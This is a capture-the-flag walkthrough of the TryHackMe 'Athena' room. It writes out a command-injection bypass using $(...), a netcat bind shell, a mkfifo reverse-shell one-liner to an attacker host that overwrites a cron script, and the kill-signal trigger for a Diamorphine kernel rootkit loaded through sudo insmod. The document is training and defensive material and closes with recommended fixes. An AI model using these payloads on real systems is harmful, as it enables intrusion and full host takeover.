Athena
A router ping page filters ;&| but is beaten with command substitution for a www-data bind shell; a www-data-writable backup script run by a cron pivots to athena, and a sudo-loadable Diamorphine LKM rootkit is triggered with a kill signal to become root.
A walkthrough of the “Athena” room from TryHackMe. An SMB note points at a router ping panel with command injection; its blacklist blocks ;**, & and | but not command substitution, so $(...) lands a bind shell as www-data. A www-data-writable backup script run by athena’s cron pivots users, and a sudo-loadable Diamorphine LKM rootkit is triggered with a kill signal to become root.
Athena is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. The box uses bare-value flags; both flags are shown as
<redacted>— real on the box, withheld here.
TL;DR
TL;DR
A NULL-session SMB public share holds a note pointing at /myrouterpanel → the ping form is command-injectable, but ;, & and | trigger “Attempt hacking!” → bypass with command substitution $(...) to run a nc bind shell → connect for a shell as www-data → pspy shows a cron running /usr/share/backup/backup.sh as athena (UID 1001), and the script is writable by www-data → overwrite it with a reverse shell for a shell as athena (user flag) → sudo -l allows insmod /mnt/.../secret/venom.ko, which is the Diamorphine LKM rootkit → load it and run kill -57 0 (signal 0x39) to trigger its give_root and become root.
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
nmap shows SSH, Apache, and Samba:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache 2.4.41 # Athena - Gods of olympus
139/445 open smb Samba 4.15.13
A NULL SMB session reads public/msg_for_administrator.txt, which names a hidden app path: /myrouterpanel (a ping tool).
The vulnerability
The entry point is a classic command injection behind a weak blacklist, and the privesc chains a writable cron script with a sudo-loadable rootkit.
Insight
The ping panel filters the obvious chaining characters (;, &, |) but not command substitution: $(...) runs its contents and feeds the result back. So 127.0.0.1 -c1$(sleep 5) delays five seconds — proof of execution — and 127.0.0.1 -c1$(nc -lp 4445 -e /bin/bash) opens a bind shell. A blacklist that forgets $() (and backticks) is no defence.
Step 1 — command substitution → bind shell as www-data
# in the ping 'ip' field (confirm with sleep first):
127.0.0.1 -c1$(sleep 5)
127.0.0.1 -c1$(nc -lp 4445 -e /bin/bash)
nc $IP 4445 # -> uid=33(www-data)
Step 2 — writable cron script → shell as athena (user flag)
pspy catches athena’s cron, and the script it runs is world/www-data-writable:
CMD: UID=1001 | /bin/bash /usr/share/backup/backup.sh
# -rwxr-xr-x 1 www-data athena /usr/share/backup/backup.sh (writable by www-data)
Replace it with a reverse shell and wait for the next run:
echo 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4446 >/tmp/f' > /usr/share/backup/backup.sh
nc -lvnp 4446 # -> shell as athena
athena@routerpanel:~$ cat user.txt # <redacted>
Step 3 — sudo insmod a Diamorphine rootkit → root
athena@routerpanel:~$ sudo -l
# (root) NOPASSWD: /usr/sbin/insmod /mnt/.../secret/venom.ko
Reversing venom.ko (Ghidra) identifies it as Diamorphine, an LKM rootkit that hooks the kill syscall: signal 0x3f (63) toggles its visibility, and signal 0x39 (57) calls give_root. Load it and send the magic signal:
sudo /usr/sbin/insmod /mnt/.../secret/venom.ko
kill -63 0 # (optional) unhide the module -> lsmod shows 'venom'
kill -57 0 # give_root
id # uid=0(root)
cat /root/root.txt # <redacted>
Impact
Critical
Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). An unauthenticated command injection in the router panel yields a shell as www-data. A www-data-writable script executed by athena’s cron pivots users, and a sudo rule that loads an attacker-analysable kernel rootkit (Diamorphine) grants instant root via a kill signal — complete host compromise.
Recommended fix
Fix
- Don’t pass user input to a shell. Validate the host and call an API; a blacklist that misses
$()/backticks is useless — allow-list instead. - Fix script permissions. A script run by a cron as
athenamust not be writable bywww-data. - Never allow
sudo insmodof arbitrary modules. Loading a kernel module is equivalent to full root/kernel control; here it’s literally a rootkit. Remove the rule.
Takeaways
$()beats;&|blacklists. Command substitution and backticks are the obvious bypass.- Writable cron scripts are a pivot. Check ownership of anything
pspyshows running on a timer. sudo insmodis root-and-then-some. A loadable module runs in the kernel; analysing it here revealed a Diamorphinegive_rootsignal.
Athena is a tidy web-to-kernel chain that ends in a real-world rootkit. Thanks for reading.